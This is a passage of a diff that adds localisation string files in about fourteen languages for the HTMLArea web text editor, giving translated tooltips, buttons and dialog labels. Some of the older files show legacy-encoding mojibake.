+ "Cancel" : "Ακύρωση",
+ "Insert/Modify Link" : "Εισαγωγή/Τροποποίηση σύνδεσμου",
+ "New window (_blank)" : "Νέο παράθυρο (_blank)",
+ "None (use implicit)" : "Κανένα (χρήση απόλυτου)",
+ "OK" : "Εντάξει",
+ "Other" : "Αλλο",
+ "Same frame (_self)" : "Ίδιο frame (_self)",
+ "Target:" : "Target:",
+ "Title (tooltip):" : "Τίτλος (tooltip):",
+ "Top frame (_top)" : "Πάνω frame (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "Πρέπει να εισάγετε το URL που οδηγεί αυτός ο σύνδεσμος"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "en",
+
+ tooltips: {
+ bold: "Bold",
+ italic: "Italic",
+ underline: "Underline",
+ strikethrough: "Strikethrough",
+ subscript: "Subscript",
+ superscript: "Superscript",
+ justifyleft: "Justify Left",
+ justifycenter: "Justify Center",
+ justifyright: "Justify Right",
+ justifyfull: "Justify Full",
+ orderedlist: "Ordered List",
+ unorderedlist: "Bulleted List",
+ outdent: "Decrease Indent",
+ indent: "Increase Indent",
+ forecolor: "Font Color",
+ hilitecolor: "Background Color",
+ horizontalrule: "Horizontal Rule",
+ createlink: "Insert Web Link",
+ insertimage: "Insert/Modify Image",
+ inserttable: "Insert Table",
+ htmlmode: "Toggle HTML Source",
+ popupeditor: "Enlarge Editor",
+ about: "About this editor",
+ showhelp: "Help using editor",
+ textindicator: "Current style",
+ undo: "Undoes your last action",
+ redo: "Redoes your last action",
+ cut: "Cut selection",
+ copy: "Copy selection",
+ paste: "Paste from clipboard",
+ lefttoright: "Direction left to right",
+ righttoleft: "Direction right to left"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Cancel"
+ },
+
+ msg: {
+ "Path": "Path",
+ "TEXT_MODE": "You are in TEXT MODE. Use the [<>] button to switch back to WYSIWYG.",
+
+ "IE-sucks-full-screen" :
+ // translate here
+ "The full screen mode is known to cause problems with Internet Explorer, " +
+ "due to browser bugs that we weren't able to workaround. You might experience garbage " +
+ "display, lack of editor functions and/or random browser crashes. If your system is Windows 9x " +
+ "it's very likely that you'll get a 'General Protection Fault' and need to reboot.\n\n" +
+ "You have been warned. Please press OK if you still want to try the full screen editor.",
+
+ "Moz-Clipboard" :
+ "Unprivileged scripts cannot access Cut/Copy/Paste programatically " +
+ "for security reasons. Click OK to see a technical note at mozilla.org " +
+ "which shows you how to allow a script to access the clipboard."
+ },
+
+ dialogs: {
+ "Cancel" : "Cancel",
+ "Insert/Modify Link" : "Insert/Modify Link",
+ "New window (_blank)" : "New window (_blank)",
+ "None (use implicit)" : "None (use implicit)",
+ "OK" : "OK",
+ "Other" : "Other",
+ "Same frame (_self)" : "Same frame (_self)",
+ "Target:" : "Target:",
+ "Title (tooltip):" : "Title (tooltip):",
+ "Top frame (_top)" : "Top frame (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "You must enter the URL where this link points to"
+ }
+};
--- /dev/null
+// I18N constants
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "es",
+
+ tooltips: {
+ bold: "Negrita",
+ italic: "Cursiva",
+ underline: "Subrayado",
+ strikethrough: "Tachado",
+ subscript: "Subíndice",
+ superscript: "Superíndice",
+ justifyleft: "Alinear a la Izquierda",
+ justifycenter: "Centrar",
+ justifyright: "Alinear a la Derecha",
+ justifyfull: "Justificar",
+ orderedlist: "Lista Ordenada",
+ unorderedlist: "Lista No Ordenada",
+ outdent: "Aumentar Sangría",
+ indent: "Disminuir Sangría",
+ forecolor: "Color del Texto",
+ hilitecolor: "Color del Fondo",
+ inserthorizontalrule: "Línea Horizontal",
+ createlink: "Insertar Enlace",
+ insertimage: "Insertar Imagen",
+ inserttable: "Insertar Tabla",
+ htmlmode: "Ver Documento en HTML",
+ popupeditor: "Ampliar Editor",
+ about: "Acerca del Editor",
+ showhelp: "Ayuda",
+ textindicator: "Estilo Actual",
+ undo: "Deshacer",
+ redo: "Rehacer",
+ cut: "Cortar selección",
+ copy: "Copiar selección",
+ paste: "Pegar desde el portapapeles"
+ },
+
+ buttons: {
+ "ok": "Aceptar",
+ "cancel": "Cancelar"
+ },
+
+ msg: {
+ "Path": "Ruta",
+ "TEXT_MODE": "Esta en modo TEXTO. Use el boton [<>] para cambiar a WYSIWIG",
+ }
+};
--- /dev/null
+// I18N constants
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "en",
+
+ tooltips: {
+ bold: "Lihavoitu",
+ italic: "Kursivoitu",
+ underline: "Alleviivattu",
+ strikethrough: "Yliviivattu",
+ subscript: "Alaindeksi",
+ superscript: "Yläindeksi",
+ justifyleft: "Tasaa vasemmat reunat",
+ justifycenter: "Keskitä",
+ justifyright: "Tasaa oikeat reunat",
+ justifyfull: "Tasaa molemmat reunat",
+ orderedlist: "Numerointi",
+ unorderedlist: "Luettelomerkit",
+ outdent: "Lisää sisennystä",
+ indent: "Pienennä sisennystä",
+ forecolor: "Fontin väri",
+ hilitecolor: "Taustaväri",
+ inserthorizontalrule: "Vaakaviiva",
+ createlink: "Lisää Linkki",
+ insertimage: "Lisää Kuva",
+ inserttable: "Lisää Taulu",
+ htmlmode: "HTML Lähdekoodi vs WYSIWYG",
+ popupeditor: "Suurenna Editori",
+ about: "Tietoja Editorista",
+ showhelp: "Näytä Ohje",
+ textindicator: "Nykyinen tyyli",
+ undo: "Peruuta viimeinen toiminto",
+ redo: "Palauta viimeinen toiminto",
+ cut: "Leikkaa maalattu",
+ copy: "Kopioi maalattu",
+ paste: "Liitä leikepyödältä"
+ },
+
+ buttons: {
+ "ok": "Hyväksy",
+ "cancel": "Peruuta"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "fr", ENCODING: UTF-8 | ISO-8859-1
+// Author: Simon Richard, s.rich@sympatico.ca
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+// All technical terms used in this document are the ones approved
+// by the Office québécois de la langue française.
+// Tous les termes techniques utilisés dans ce document sont ceux
+// approuvés par l'Office québécois de la langue française.
+// http://www.oqlf.gouv.qc.ca/
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "fr",
+
+ tooltips: {
+ bold: "Gras",
+ italic: "Italique",
+ underline: "Souligné",
+ strikethrough: "Barré",
+ subscript: "Indice",
+ superscript: "Exposant",
+ justifyleft: "Aligné à gauche",
+ justifycenter: "Centré",
+ justifyright: "Aligné à droite",
+ justifyfull: "Justifier",
+ orderedlist: "Numérotation",
+ unorderedlist: "Puces",
+ outdent: "Diminuer le retrait",
+ indent: "Augmenter le retrait",
+ forecolor: "Couleur de police",
+ hilitecolor: "Surlignage",
+ horizontalrule: "Ligne horizontale",
+ createlink: "Insérer un hyperlien",
+ insertimage: "Insérer/Modifier une image",
+ inserttable: "Insérer un tableau",
+ htmlmode: "Passer au code source",
+ popupeditor: "Agrandir l'éditeur",
+ about: "À propos de cet éditeur",
+ showhelp: "Aide sur l'éditeur",
+ textindicator: "Style courant",
+ undo: "Annuler la dernière action",
+ redo: "Répéter la dernière action",
+ cut: "Couper la sélection",
+ copy: "Copier la sélection",
+ paste: "Coller depuis le presse-papier",
+ lefttoright: "Direction de gauche à droite",
+ righttoleft: "Direction de droite à gauche"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Annuler"
+ },
+
+ msg: {
+ "Path": "Chemin",
+ "TEXT_MODE": "Vous êtes en MODE TEXTE. Appuyez sur le bouton [<>] pour retourner au mode tel-tel.",
+
+ "IE-sucks-full-screen" :
+ // translate here
+ "Le mode plein écran peut causer des problèmes sous Internet Explorer, " +
+ "ceci dû à des bogues du navigateur qui ont été impossible à contourner. " +
+ "Les différents symptômes peuvent être un affichage déficient, le manque de " +
+ "fonctions dans l'éditeur et/ou pannes aléatoires du navigateur. Si votre " +
+ "système est Windows 9x, il est possible que vous subissiez une erreur de type " +
+ "«General Protection Fault» et que vous ayez à redémarrer votre ordinateur." +
+ "\n\nConsidérez-vous comme ayant été avisé. Appuyez sur OK si vous désirez tout " +
+ "de même essayer le mode plein écran de l'éditeur."
+ },
+
+ dialogs: {
+ "Cancel" : "Annuler",
+ "Insert/Modify Link" : "Insérer/Modifier Lien",
+ "New window (_blank)" : "Nouvelle fenêtre (_blank)",
+ "None (use implicit)" : "Aucun (par défaut)",
+ "OK" : "OK",
+ "Other" : "Autre",
+ "Same frame (_self)" : "Même cadre (_self)",
+ "Target:" : "Cible:",
+ "Title (tooltip):" : "Titre (infobulle):",
+ "Top frame (_top)" : "Cadre du haut (_top)",
+ "URL:" : "Adresse Web:",
+ "You must enter the URL where this link points to" : "Vous devez entrer l'adresse Web du lien"
+ }
+};
--- /dev/null
+// I18N constants -- Chinese GB
+// by Dave Lo -- dlo@interactivetools.com
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "gb",
+
+ tooltips: {
+ bold: "´ÖÌå",
+ italic: "бÌå",
+ underline: "µ×Ïß",
+ strikethrough: "ɾ³ýÏß",
+ subscript: "챐",
+ superscript: "Éϱê",
+ justifyleft: "λÖÿ¿×ó",
+ justifycenter: "λÖþÓÖÐ",
+ justifyright: "λÖÿ¿ÓÒ",
+ justifyfull: "λÖÃ×óÓÒÆ½µÈ",
+ orderedlist: "˳ÐòÇåµ¥",
+ unorderedlist: "ÎÞÐòÇåµ¥",
+ outdent: "¼õСÐÐǰ¿Õ°×",
+ indent: "¼Ó¿íÐÐǰ¿Õ°×",
+ forecolor: "ÎÄ×ÖÑÕÉ«",
+ backcolor: "±³¾°ÑÕÉ«",
+ horizontalrule: "ˮƽÏß",
+ createlink: "²åÈëÁ¬½á",
+ insertimage: "²åÈëͼÐÎ",
+ inserttable: "²åÈë±í¸ñ",
+ htmlmode: "Çл»HTMLÔʼÂë",
+ popupeditor: "·Å´ó",
+ about: "¹Øì¶ HTMLArea",
+ help: "˵Ã÷",
+ textindicator: "×ÖÌåÀý×Ó"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "he",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "מודגש",\r\r
+ italic: "נטוי",\r\r
+ underline: "קו תחתי",\r\r
+ strikethrough: "קו אמצע",\r\r
+ subscript: "כתב עילי",\r\r
+ superscript: "כתב תחתי",\r\r
+ justifyleft: " ישור לשמאל",\r\r
+ justifycenter: "ישור למרכז",\r\r
+ justifyright: "ישור לימין",\r\r
+ justifyfull: "ישור לשורה מלאה",\r\r
+ orderedlist: "רשימה ממוספרת",\r\r
+ unorderedlist: "רשימה לא ממוספרת",\r\r
+ outdent: "הקטן כניסה",\r\r
+ indent: "הגדל כניסה",\r\r
+ forecolor: "צבע גופן",\r\r
+ hilitecolor: "צבע רקע",\r\r
+ horizontalrule: "קו אנכי",\r\r
+ createlink: "הכנס היפר-קישור",\r\r
+ insertimage: "הכנס/שנה תמונה",\r\r
+ inserttable: "הכנס טבלה",\r\r
+ htmlmode: "שנה מצב קוד HTML",\r\r
+ popupeditor: "הגדל את העורך",\r\r
+ about: "אודות עורך זה",\r\r
+ showhelp: "עזרה לשימוש בעורך",\r\r
+ textindicator: "סגנון נוכחי",\r\r
+ undo: "מבטל את פעולתך האחרונה",\r\r
+ redo: "מבצע מחדש את הפעולה האחרונה שביטלת",\r\r
+ cut: "גזור בחירה",\r\r
+ copy: "העתק בחירה",\r\r
+ paste: "הדבק מהלוח",\r\r
+ lefttoright: "כיוון משמאל לימין",\r\r
+ righttoleft: "כיוון מימין לשמאל"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "אישור",\r\r
+ "cancel": "ביטול"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "נתיב עיצוב",\r\r
+ "TEXT_MODE": "אתה במצב טקסט נקי (קוד). השתמש בכפתור [<>] כדי לחזור למצב WYSIWYG (תצוגת עיצוב).",\r\r
+\r\r
+ "IE-sucks-full-screen" :\r\r
+ // translate here\r\r
+ "מצב מסך מלא יוצר בעיות בדפדפן Internet Explorer, " +\r\r
+ "עקב באגים בדפדפן לא יכולנו לפתור את זה. את/ה עלול/ה לחוות תצוגת זבל, " +\r\r
+ "בעיות בתפקוד העורך ו/או קריסה של הדפדפן. אם המערכת שלך היא Windows 9x " +\r\r
+ "סביר להניח שתקבל/י 'General Protection Fault' ותאלצ/י לאתחל את המחשב.\n\n" +\r\r
+ "ראה/י הוזהרת. אנא לחץ/י אישור אם את/ה עדיין רוצה לנסות את העורך במסך מלא."\r\r
+ },\r\r
+\r\r
+ dialogs: {\r\r
+ "Cancel" : "ביטול",\r\r
+ "Insert/Modify Link" : "הוסף/שנה קישור",\r\r
+ "New window (_blank)" : "חלון חדש (_blank)",\r\r
+ "None (use implicit)" : "ללא (השתמש ב-frame הקיים)",\r\r
+ "OK" : "OK",\r\r
+ "Other" : "אחר",\r\r
+ "Same frame (_self)" : "אותו frame (_self)",\r\r
+ "Target:" : "יעד:",\r\r
+ "Title (tooltip):" : "כותרת (tooltip):",\r\r
+ "Top frame (_top)" : "Frame עליון (_top)",\r\r
+ "URL:" : "URL:",\r\r
+ "You must enter the URL where this link points to" : "חובה לכתוב URL שאליו קישור זה מצביע"\r\r
+\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "hu",
+
+ tooltips: {
+ bold: "Félkövér",
+ italic: "Dőlt",
+ underline: "Aláhúzott",
+ strikethrough: "Áthúzott",
+ subscript: "Alsó index",
+ superscript: "Felső index",
+ justifyleft: "Balra zárt",
+ justifycenter: "Középre zárt",
+ justifyright: "Jobbra zárt",
+ justifyfull: "Sorkizárt",
+ orderedlist: "Számozott lista",
+ unorderedlist: "Számozatlan lista",
+ outdent: "Behúzás csökkentése",
+ indent: "Behúzás növelése",
+ forecolor: "Karakterszín",
+ hilitecolor: "Háttérszín",
+ horizontalrule: "Elválasztó vonal",
+ createlink: "Hiperhivatkozás beszúrása",
+ insertimage: "Kép beszúrása",
+ inserttable: "Táblázat beszúrása",
+ htmlmode: "HTML forrás be/ki",
+ popupeditor: "Szerkesztő külön ablakban",
+ about: "Névjegy",
+ showhelp: "Súgó",
+ textindicator: "Aktuális stílus",
+ undo: "Visszavonás",
+ redo: "Újra végrehajtás",
+ cut: "Kivágás",
+ copy: "Másolás",
+ paste: "Beillesztés",
+ lefttoright: "Irány balról jobbra",
+ righttoleft: "Irány jobbról balra"
+ },
+
+ buttons: {
+ "ok": "Rendben",
+ "cancel": "Mégsem"
+ },
+
+ msg: {
+ "Path": "Hierarchia",
+ "TEXT_MODE": "Forrás mód. Visszaváltás [<>] gomb",
+
+ "IE-sucks-full-screen" :
+ // translate here
+ "A teljesképrenyős szerkesztés hibát okozhat Internet Explorer használata esetén, " +
+ "ez a böngésző a hibája, amit nem tudunk kikerülni. Szemetet észlelhet a képrenyőn, " +
+ "illetve néhány funkció hiányozhat és/vagy véletlenszerűen lefagyhat a böngésző. " +
+ "Windows 9x operaciós futtatása esetén elég valószínű, hogy 'General Protection Fault' " +
+ "hibát okoz és újra kell indítania a számítógépet.\n\n" +
+ "Figyelmeztettük. Kérjük nyomja meg a Rendben gombot, ha mégis szeretné megnyitni a " +
+ "szerkesztőt külön ablakban."
+ },
+
+ dialogs: {
+ "Cancel" : "Mégsem",
+ "Insert/Modify Link" : "Hivatkozás Beszúrása/Módosítása",
+ "New window (_blank)" : "Új ablak (_blank)",
+ "None (use implicit)" : "Nincs (use implicit)",
+ "OK" : "OK",
+ "Other" : "Más",
+ "Same frame (_self)" : "Ugyanabba a keretbe (_self)",
+ "Target:" : "Cél:",
+ "Title (tooltip):" : "Cím (tooltip):",
+ "Top frame (_top)" : "Felső keret (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "Be kell írnia az URL-t, ahova a hivatkozás mutasson"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo <fabio@rotondo.it>
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "it",
+
+ tooltips: {
+ bold: "Grassetto",
+ italic: "Italico",
+ underline: "Sottolineato",
+ strikethrough: "Barrato",
+ subscript: "Pedice",
+ superscript: "Apice",
+ justifyleft: "Giustifica a Sinistra",
+ justifycenter: "Giustifica in Centro",
+ justifyright: "Giustifica a Destra",
+ justifyfull: "Giustifica Completamente",
+ orderedlist: "Lista Ordinata",
+ unorderedlist: "Lista Puntata",
+ outdent: "Decrementa Indentazione",
+ indent: "Incrementa Indentazione",
+ forecolor: "Colore del Carattere",
+ hilitecolor: "Colore di Sfondo",
+ horizontalrule: "Linea Orizzontale",
+ createlink: "Inserisci un Link",
+ insertimage: "Inserisci un'Immagine",
+ inserttable: "Inserisci una Tabella",
+ htmlmode: "Attiva il codice HTML",
+ popupeditor: "Allarga l'editor",
+ about: "Info sull'editor",
+ showhelp: "Aiuto sull'editor",
+ textindicator: "Stile Attuale",
+ undo: "Elimina l'ultima modifica",
+ redo: "Ripristina l'ultima modifica",
+ cut: "Taglia l'area selezionata",
+ copy: "Copia l'area selezionata",
+ paste: "Incolla dalla memoria"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Annulla"
+ },
+
+ msg: {
+ "Path": "Percorso",
+ "TEXT_MODE": "Sei in MODALITA' TESTO. Usa il bottone [<>] per tornare alla modalità WYSIWYG."
+ }
+};
--- /dev/null
+// I18N constants -- Japanese EUC
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-euc",
+
+ tooltips: {
+ bold: "ÂÀ»ú",
+ italic: "¼ÐÂÎ",
+ underline: "²¼Àþ",
+ strikethrough: "ÂǤÁ¾Ã¤·Àþ",
+ subscript: "²¼Éդꤍ»ú",
+ superscript: "¾åÉդꤍ»ú",
+ justifyleft: "º¸´ó¤»",
+ justifycenter: "Ãæ±û´ó¤»",
+ justifyright: "±¦´ó¤»",
+ justifyfull: "¶ÑÅù³äÉÕ",
+ orderedlist: "ÈÖ¹æÉÕ¤²Õ¾ò½ñ¤",
+ unorderedlist: "µ¹æÉÕ¤²Õ¾ò½ñ¤",
+ outdent: "¥¤¥ó¥Ç¥ó¥È²ò½ü",
+ indent: "¥¤¥ó¥Ç¥ó¥ÈÀßÄê",
+ forecolor: "ʸ»ú¿§",
+ backcolor: "ÇØ·Ê¿§",
+ horizontalrule: "¿åÊ¿Àþ",
+ createlink: "¥ê¥ó¥¯ºîÀ®",
+ insertimage: "²èÁüÁÞÆþ",
+ inserttable: "¥Æ¡¼¥Ö¥ëÁÞÆþ",
+ htmlmode: "HTMLɽ¼¨ÀÚÂØ",
+ popupeditor: "¥¨¥Ç¥£¥¿³ÈÂç",
+ about: "¥Ð¡¼¥¸¥ç¥ó¾ðÊó",
+ help: "¥Ø¥ë¥×",
+ textindicator: "¸½ºß¤Î¥¹¥¿¥¤¥ë"
+ }
+};
--- /dev/null
+// I18N constants -- Japanese JIS
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-jis",
+
+ tooltips: {
+ bold: "\e$BB@;z\e(B",
+ italic: "\e$B<PBN\e(B",
+ underline: "\e$B2<@~\e(B",
+ strikethrough: "\e$BBG$A>C$7@~\e(B",
+ subscript: "\e$B2<IU$-E:$(;z\e(B",
+ superscript: "\e$B>eIU$-E:$(;z\e(B",
+ justifyleft: "\e$B:84s$;\e(B",
+ justifycenter: "\e$BCf1{4s$;\e(B",
+ justifyright: "\e$B1&4s$;\e(B",
+ justifyfull: "\e$B6QEy3dIU\e(B",
+ orderedlist: "\e$BHV9fIU$-2U>r=q$-\e(B",
+ unorderedlist: "\e$B5-9fIU$-2U>r=q$-\e(B",
+ outdent: "\e$B%$%s%G%s%H2r=|\e(B",
+ indent: "\e$B%$%s%G%s%H@_Dj\e(B",
+ forecolor: "\e$BJ8;z?'\e(B",
+ backcolor: "\e$BGX7J?'\e(B",
+ horizontalrule: "\e$B?eJ?@~\e(B",
+ createlink: "\e$B%j%s%/:n@.\e(B",
+ insertimage: "\e$B2hA|A^F~\e(B",
+ inserttable: "\e$B%F!<%V%kA^F~\e(B",
+ htmlmode: "HTML\e$BI=<(@ZBX\e(B",
+ popupeditor: "\e$B%(%G%#%?3HBg\e(B",
+ about: "\e$B%P!<%8%g%s>pJs\e(B",
+ help: "\e$B%X%k%W\e(B",
+ textindicator: "\e$B8=:_$N%9%?%$%k\e(B"
+ }
+};
--- /dev/null
+// I18N constants -- Japanese Shift-JIS
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-sjis",
+
+ tooltips: {
+ bold: "\91¾\8e\9a",
+ italic: "\8eÎ\91Ì",
+ underline: "\89º\90ü",
+ strikethrough: "\91Å\82¿\8fÁ\82µ\90ü",
+ subscript: "\89º\95t\82«\93Y\82¦\8e\9a",
+ superscript: "\8fã\95t\82«\93Y\82¦\8e\9a",
+ justifyleft: "\8d¶\8añ\82¹",
+ justifycenter: "\92\86\89\9b\8añ\82¹",
+ justifyright: "\89E\8añ\82¹",
+ justifyfull: "\8bÏ\93\99\8a\84\95t",
+ orderedlist: "\94Ô\8d\86\95t\82«\89Ó\8fð\8f\91\82«",
+ unorderedlist: "\8bL\8d\86\95t\82«\89Ó\8fð\8f\91\82«",
+ outdent: "\83C\83\93\83f\83\93\83g\89ð\8f\9c",
+ indent: "\83C\83\93\83f\83\93\83g\90Ý\92è",
+ forecolor: "\95¶\8e\9a\90F",
+ backcolor: "\94w\8ci\90F",
+ horizontalrule: "\90\85\95½\90ü",
+ createlink: "\83\8a\83\93\83N\8dì\90¬",
+ insertimage: "\89æ\91\9c\91}\93ü",
+ inserttable: "\83e\81[\83u\83\8b\91}\93ü",
+ htmlmode: "HTML\95\\8e¦\90Ø\91Ö",
+ popupeditor: "\83G\83f\83B\83^\8ag\91å",
+ about: "\83o\81[\83W\83\87\83\93\8fî\95ñ",
+ help: "\83w\83\8b\83v",
+ textindicator: "\8c»\8dÝ\82Ì\83X\83^\83C\83\8b"
+ }
+};
--- /dev/null
+// I18N constants -- Japanese UTF-8
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-utf8",
+
+ tooltips: {
+ bold: "太字",
+ italic: "斜体",
+ underline: "下線",
+ strikethrough: "打ち消し線",
+ subscript: "下付き添え字",
+ superscript: "上付き添え字",
+ justifyleft: "左寄せ",
+ justifycenter: "中央寄せ",
+ justifyright: "右寄せ",
+ justifyfull: "均等割付",
+ orderedlist: "番号付き箇条書き",
+ unorderedlist: "記号付き箇条書き",
+ outdent: "インデント解除",
+ indent: "インデント設定",
+ forecolor: "文字色",
+ backcolor: "背景色",
+ horizontalrule: "水平線",
+ createlink: "リンク作成",
+ insertimage: "画像挿入",
+ inserttable: "テーブル挿入",
+ htmlmode: "HTML表示切替",
+ popupeditor: "エディタ拡大",
+ about: "バージョン情報",
+ help: "ヘルプ",
+ textindicator: "現在のスタイル"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "lt", ENCODING: UTF-8
+// Author: Jaroslav Šatkevič, <jaro@akl.lt>
+
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "lt",
+
+ tooltips: {
+ bold: "Paryškinti",
+ italic: "Kursyvas",
+ underline: "Pabraukti",
+ strikethrough: "Perbraukti",
+ subscript: "Apatinis indeksas",
+ superscript: "Viršutinis indeksas",
+ justifyleft: "Lygiavimas pagal kairę",
+ justifycenter: "Lygiavimas pagal centrą",
+ justifyright: "Lygiavimas pagal dešinę",
+ justifyfull: "Lygiuoti pastraipą",
+ orderedlist: "Numeruotas sąrašas",
+ unorderedlist: "Suženklintas sąrašas",
+ outdent: "Sumažinti paraštę",
+ indent: "Padidinti paraštę",
+ forecolor: "Šrifto spalva",
+ hilitecolor: "Fono spalva",
+ horizontalrule: "Horizontali linija",
+ createlink: "Įterpti nuorodą",
+ insertimage: "Įterpti paveiksliuką",
+ inserttable: "Įterpti lentelę",
+ htmlmode: "Perjungti į HTML/WYSIWYG",
+ popupeditor: "Išplėstas redagavimo ekranas/Enlarge Editor",
+ about: "Apie redaktorių",
+ showhelp: "Pagalba naudojant redaktorių",
+ textindicator: "Dabartinis stilius",
+ undo: "Atšaukia paskutini jūsų veiksmą",
+ redo: "Pakartoja paskutinį atšauktą jūsų veiksmą",
+ cut: "Iškirpti",
+ copy: "Kopijuoti",
+ paste: "Įterpti"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Atšaukti"
+ },
+
+ msg: {
+ "Path": "Kelias",
+ "TEXT_MODE": "Jūs esete teksto režime. Naudokite [<>] mygtuką grįžimui į WYSIWYG."
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "lv", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, http://dynarch.com/mishoo\r\r
+// Translated by: Janis Klavins, <janis.klavins@devia.lv>\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "lv",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Trekniem burtiem",\r\r
+ italic: "Kursîvâ",\r\r
+ underline: "Pasvîtrots",\r\r
+ strikethrough: "Pârsvîtrots",\r\r
+ subscript: "Novietot zem rindas",\r\r
+ superscript: "Novietot virs rindas",\r\r
+ justifyleft: "Izlîdzinât pa kreisi",\r\r
+ justifycenter: "Izlîdzinât centrâ",\r\r
+ justifyright: "Izlîdzinât pa labi",\r\r
+ justifyfull: "Izlîdzinât pa visu lapu",\r\r
+ orderedlist: "Numurçts saraksts",\r\r
+ unorderedlist: "Saraksts",\r\r
+ outdent: "Samazinât atkâpi",\r\r
+ indent: "Palielinât atkâpi",\r\r
+ forecolor: "Burtu krâsa",\r\r
+ hilitecolor: "Fona krâsa",\r\r
+ horizontalrule: "Horizontâla atdalîtâjsvîtra",\r\r
+ createlink: "Ievietot hipersaiti",\r\r
+ insertimage: "Ievietot attçlu",\r\r
+ inserttable: "Ievietot tabulu",\r\r
+ htmlmode: "Skatît HTML kodu",\r\r
+ popupeditor: "Palielinât Rediìçtâju",\r\r
+ about: "Par ðo rediìçtâju",\r\r
+ showhelp: "Rediìçtâja palîgs",\r\r
+ textindicator: "Patreizçjais stils",\r\r
+ undo: "Atcelt pçdçjo darbîbu",\r\r
+ redo: "Atkârtot pçdçjo darbîbu",\r\r
+ cut: "Izgriezt iezîmçto",\r\r
+ copy: "Kopçt iezîmçto",\r\r
+ paste: "Ievietot iezîmçto"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "Labi",\r\r
+ "cancel": "Atcelt"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Ceïð",\r\r
+ "TEXT_MODE": "Jûs patlaban darbojaties TEKSTA REÞÎMÂ. Lai pârietu atpakaï uz GRAFISKO REÞÎMU (WYSIWIG), lietojiet [<>] pogu."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "nb",
+
+ tooltips: {
+ bold: "Fet",
